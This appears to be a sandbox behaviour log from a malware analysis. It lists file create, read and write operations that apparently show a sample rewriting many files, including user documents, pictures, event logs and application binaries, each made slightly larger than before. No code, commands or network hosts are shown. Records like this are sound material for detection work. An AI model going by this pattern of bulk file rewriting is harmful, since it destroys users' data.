Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite, size = 5512	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\ffjcext.zip, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\ffjcext.zip, size = 4096, size_out = 4096	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\HV67.xlsx, size = 4096	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\yTvQERL.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\yTvQERL.docx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\yTvQERL.docx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\yTvQERL.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\yTvQERL.docx, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster.jpg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster.jpg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\DHtmlHeader.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\DHtmlHeader.html, size = 4096	1	Fn Data
File	Create	filename = C:\588bce7c90097ed212\SetupUi.xsd, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 5512	1	Fn Data
File	Write	filename = C:\588bce7c90097ed212\SetupUi.xsd, size = 4096	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-International%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-International%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-International%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-International%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-International%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Security.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Security.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\Security.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\Security.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Security.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\Security.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaw.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaw.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaw.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaw.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\javaw.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\policytool.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\policytool.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\policytool.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\policytool.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\accessibility.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\accessibility.properties, size = 149, size_out = 149	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\accessibility.properties, size = 1565	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties, size = 5548, size_out = 5548	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties, size = 6964	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_sv.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_sv.properties, size = 3409, size_out = 3409	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_sv.properties, size = 4825	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\cldrdata.jar, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunpkcs11.jar, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansRegular.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansRegular.ttf, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansRegular.ttf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansRegular.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansRegular.ttf, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaSansRegular.ttf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveDrop32x32.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveDrop32x32.gif, size = 147, size_out = 147	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\win32_MoveDrop32x32.gif, size = 1563	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jvm.hprof.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jvm.hprof.txt, size = 4226, size_out = 4226	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jvm.hprof.txt, size = 5642	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\psfont.properties.ja, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\psfont.properties.ja, size = 2796, size_out = 2796	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\psfont.properties.ja, size = 4212	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\local_policy.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\local_policy.jar, size = 3527, size_out = 3527	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\local_policy.jar, size = 4943	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\Welcome.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\Welcome.html, size = 955, size_out = 955	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\Welcome.html, size = 2371	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\firefox@getpocket.com.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\firefox@getpocket.com.xpi, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\firefox@getpocket.com.xpi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\firefox@getpocket.com.xpi, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\firefox@getpocket.com.xpi, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\firefox@getpocket.com.xpi, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\defaults\pref\channel-prefs.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\defaults\pref\channel-prefs.js, size = 245, size_out = 245	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\defaults\pref\channel-prefs.js, size = 1661	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\minidump-analyzer.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\minidump-analyzer.exe, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\minidump-analyzer.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\minidump-analyzer.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\minidump-analyzer.exe, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\minidump-analyzer.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\uninstall\helper.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\uninstall\helper.exe, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\uninstall\helper.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\uninstall\helper.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\uninstall\helper.exe, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\uninstall\helper.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\rempl\Logs\Remediation.001.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\rempl\Logs\Remediation.001.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\rempl\Logs\Remediation.001.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\cs-CZ\index.html, size = 16384, size_out = 16384	1	Fn Data
